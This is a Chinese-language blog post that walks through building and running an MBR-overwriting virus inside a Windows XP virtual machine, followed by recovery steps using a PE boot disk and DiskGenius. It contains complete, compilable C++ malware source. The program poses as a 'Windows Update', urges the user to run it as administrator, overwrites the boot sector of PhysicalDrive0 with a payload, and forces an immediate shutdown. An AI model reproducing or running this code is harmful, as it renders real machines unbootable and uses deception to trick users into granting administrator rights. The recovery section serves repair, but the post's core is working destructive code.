復現
環境
Attacker
OS: Windows 10 1909 X64
IDE: Dev-C++ 5.11
Filename: MBR.cpp
Out Filename: MBR.exe
Player
OS: Windows XP SP2
Filename: MBR.exe
步驟
0.0.1 編譯及拷貝
將以下代碼輸入進Dev-C++:
#include<Windows.h>
#include<stdio.h>
#include<iostream>
using namespace std;
unsigned char sco[] =16進制
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xBA\x1D\x0E\xCD\x10\xE2\xFE\x0D\x0A\x49\x27\x6D\x20\x61\x20\x76\x69\x72\x75\x73\x21\x42\x79\x65\x21";
DWORD MBR()
{
system("title Windows Update");
cout<<"Your computer has a bug.We are updating."<<endl;
cout<<"Windows Updating..."<<endl;
DWORD Ropen;
BYTE pMBR[512] = { 0 };
memcpy(pMBR, sco, sizeof(sco));
pMBR[510] = 0x55;
pMBR[511] = 0xaa;
HANDLE hDevice = CreateFile(
"\\\\.\\PhysicalDrive0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
MessageBoxA(NULL, "錯誤", "請以管理員身份運行,否則 Windows 無法安裝此特殊補丁更新,", MB_OK);
return 0;
}
DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &Ropen, NULL);
//寫入磁盤檔案
WriteFile(hDevice, pMBR, 512, &Ropen, NULL);
DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &Ropen, NULL);
cout<<"Windows Updated.Restart..."<<endl;
system("shutdown -s -t 00");
}
int main(int argc, char* argv[])
{
MBR();
return 0;
}
編譯后,生成了MBR.exe的檔案,將其拷貝進VMware Workstation的Windows XP SP2中,
0.0.2 運行及效果
使用管理員權限運行此exe,視窗一閃而過,隨機Windows XP SP2關機,

關機后,嘗試開啟虛擬機,顯示如下:

解決方案
(在本開放實體中(https://github.com/tiantian520tt/Boom_MBR_Virus),可以很快清理,但在作者自行開發的內部版本中,此病毒已無法完全清理,)
關閉虛擬機,從網上下載適合的PE系統iso并下載,點擊VMware的虛擬機選項,設定,

配置iso映像檔案后,確認,
接著,選擇虛擬機選項卡,選擇啟動方式,打開BIOS

進入BIOS后,選擇Boot,接著使用+/-號使CD選項調到最上,按F10,(物體機中也很相似,但如果使用U盤作為PE啟動盤,那么需要將USB選項調到最上)

進入PE系統,
(由于作者身邊只有Windows Server 2003的PE所以用了這個)


打開DiskGenius(磁盤磁區管理),發現磁盤內容已經全部掛了,這時搜索丟失磁區發現了C盤,然后重建MBR引導,

關閉虛擬機,再次進入BIOS,修改Hard Driver到最頂,重啟虛擬機,成功進入系統,


檔案仍在:

解決方案圓滿成功,
總結
MBR病毒算是國內發現比較早的病毒種類了,由于在計算機時代初期exe的各種兼容性,使得更多的人選擇了對MBR引導區下手,
本人對本MBR病毒評價:
復現難度:★★☆☆☆
修復難度:★☆☆☆☆
破壞程度:☆☆☆☆☆
以上均為本人觀點,不喜勿噴,歡迎補充,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/282920.html
標籤:其他
下一篇:大小端存盤以及位元組對齊
